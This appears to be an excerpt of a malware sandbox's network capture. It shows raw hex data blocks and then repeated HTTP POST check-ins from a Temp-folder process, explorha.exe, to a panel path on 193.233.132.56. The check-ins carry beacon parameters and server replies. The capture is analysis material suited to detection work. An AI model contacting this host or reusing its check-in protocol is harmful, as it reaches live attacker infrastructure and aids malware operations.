Apr 19, 2024 03:29:22.245326042 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 19, 2024 03:29:22.245364904 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 19, 2024 03:29:22.245404959 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Apr 19, 2024 03:29:22.245444059 CEST	1289	IN	Data Raw: 2c a8 8e c8 17 b8 c4 30 48 c8 c4 40 c2 1d d8 12 41 bb 50 42 93 52 02 fc b3 45 60 e9 01 b0 24 0f 28 20 4a 97 d2 40 18 b0 68 45 df 99 ae b1 22 30 96 06 1f 4d ef b2 88 df 90 1f 9e 63 a4 d0 e9 1e b9 44 df 28 ed 11 88 15 12 80 10 8c b3 b9 50 50 68 a0 Data Ascii: ,0H@APBRE`$( J@hE"0McD(PPht@0 )L$&*/+,2^.H.O6.P"DBh@@=J!0P!`PB@>i%DpQB4B!$?%i#d)Bu\|"$H
Apr 19, 2024 03:29:22.245482922 CEST	1289	IN	Data Raw: 15 f2 a7 45 a0 cd 60 25 3d 46 71 16 50 f6 ab b4 a2 4b 01 8a 7d 23 b8 d3 09 15 2b c6 50 87 35 ec ee cb 6a a7 5b 9b c8 05 8a 55 ee f1 a0 18 bc eb 65 03 1c f1 79 b0 07 ad e2 e5 0f a8 b6 9b 3d f8 e8 8a 55 c2 b6 08 b1 e2 7c 3f ed ec 55 eb 90 cf 50 01 Data Ascii: E`%=FqPK}#+P5j[Uey=U\|?UPb~/U;uPB#Hj=LbKmauV_^^$SbUA3dB]n_f591J$?v<=4"R<(.Vlzu+t$/z
Apr 19, 2024 03:29:22.245522976 CEST	1289	IN	Data Raw: 86 9a 39 92 92 cd b5 9f 70 23 84 e7 e0 89 86 f5 b7 3f eb 41 1e 04 31 00 f7 3b c7 0f 43 f0 24 81 fe 76 6e 83 8d 46 23 02 79 3b c6 0f 86 e3 a0 8d eb bf 85 f6 26 74 16 73 14 41 45 97 a0 c6 45 68 e4 3f 3c 39 1a 33 ff 15 04 84 e4 f6 53 51 1d 2c 06 25 Data Ascii: 9p#?A1;C$vnF#y;&tsAEEh?<93SQ,%69;uPU)H\-PA#CP4RZr=)KIIHR/3;Pd710c>u0yjxE.^`^u=$H#`vP63@"Ut,AAQ
Apr 19, 2024 03:29:22.245563030 CEST	1289	IN	Data Raw: f0 14 2e 44 a2 5f b4 f1 8d f0 c2 b8 9c 9d d0 17 e6 2f 90 13 0c 56 c4 6f 72 d3 50 46 9c fd 0c 7d f7 04 e1 f2 27 2c 5e 51 c0 b5 3a ce e8 24 e3 56 9d a0 df 6a 0d 68 9c 31 64 52 6c 84 f2 41 aa eb 09 bd 91 7b 69 79 17 79 8b c8 13 1a 77 a9 28 c0 b9 5e Data Ascii: .D_/VorPF}',^Q:$Vjh1dRlA{iyyw(^ f~>,'?sTi"p)NlBU~UjAG:Jp,[@.Bb4#d,{ O4qw[tFr`GKPu{~a~O`hX3E
Apr 19, 2024 03:29:22.245604992 CEST	1289	IN	Data Raw: e8 56 b8 a4 39 38 51 7a 6a 1c 00 d7 50 9c a5 5e af 82 21 16 8b 33 c0 6f b1 ad 6c 30 4d 25 f0 f9 4a 5b f4 69 71 5c 5b 3e 43 e1 92 8e e5 d1 80 ad 33 10 95 5b ed 08 40 a7 91 50 79 24 2f 8d 7f e2 09 5b 76 a5 73 fb 80 ca 8d 75 e5 85 c9 00 79 34 f7 d9 Data Ascii: V98QzjP^!3ol0M%J[iq\[>C3[@Py$/[vsuy4fNA0lTNuN-.0T;uT0W+tAlwOi4RJ\|uIW}Ox*=uJK;J`
Apr 19, 2024 03:29:22.245647907 CEST	1289	IN	Data Raw: a0 00 b3 3c 4a 3b c7 26 74 2c c2 d0 1f 2b 26 5d f8 80 00 39 5e 10 72 5b 89 da 0a 78 08 ec 87 60 0e 33 d2 66 7a 89 18 59 eb 2e 72 f0 3b 18 d9 75 0d 4d 83 e3 98 d7 05 fb 06 7c 1c eb 93 83 49 dd 8e 33 3c 6a e2 e5 b7 f7 0d cf 21 b8 8b 18 d1 ff d8 6b Data Ascii: <J;&t,+&]9^r[x`3fzY.r;uM\|I3<j!kW=m`'UAQ>[ZF?&`McO.rn,sA,{*Fg@+RI#HG1QCC$V%\PuBBn7si'O
Apr 19, 2024 03:29:22.493360043 CEST	1289	IN	Data Raw: da 25 f6 73 c9 35 a0 90 dd b8 81 4a ec 95 33 83 f3 8d 71 d4 4b b4 c1 96 68 98 25 ba 97 1a d0 e0 53 70 0b 04 e8 52 ca f1 29 c6 d0 4c 76 50 ee 74 9c 72 8c aa fa 55 e0 97 e9 44 85 45 10 02 d3 64 84 0d 5b 10 e2 2e 2a 1d 27 66 92 94 af 28 4e 5c 45 48 Data Ascii: %s5J3qKh%SpR)LvPtrUDEd[.'f(N\EHJ7O?;P@i\<2='`OV@D4 .MBlp"A#c x,Rl%sXHlNdm.dRx$r:AKpL\|]6JnB\|bmB$1P<fWf +I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49768	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:25.875488043 CEST	186	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 37 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000057031&unit=246122658369
Apr 19, 2024 03:29:26.126251936 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49769	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:26.487627983 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:26.732089996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:26.736044884 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:26.984457016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49770	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:27.334340096 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:27.581065893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:27.581820011 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:27.832570076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49771	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:28.233938932 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:28.476804018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:28.555151939 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:28.810861111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49772	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:29.255553007 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:29.498307943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:29.501691103 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:29.748577118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49775	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:30.100778103 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:30.349416018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:30.350960970 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:30.604402065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49779	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:30.961292028 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:31.208998919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:31.212039948 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:31.464279890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49785	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:31.835582972 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:32.080806017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:32.082199097 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:32.332559109 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49792	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:32.692337036 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:32.936714888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:32.937767029 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:33.189093113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49793	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:33.875886917 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:34.123487949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:34.171626091 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:34.423477888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49794	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:35.837363005 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:36.088021994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
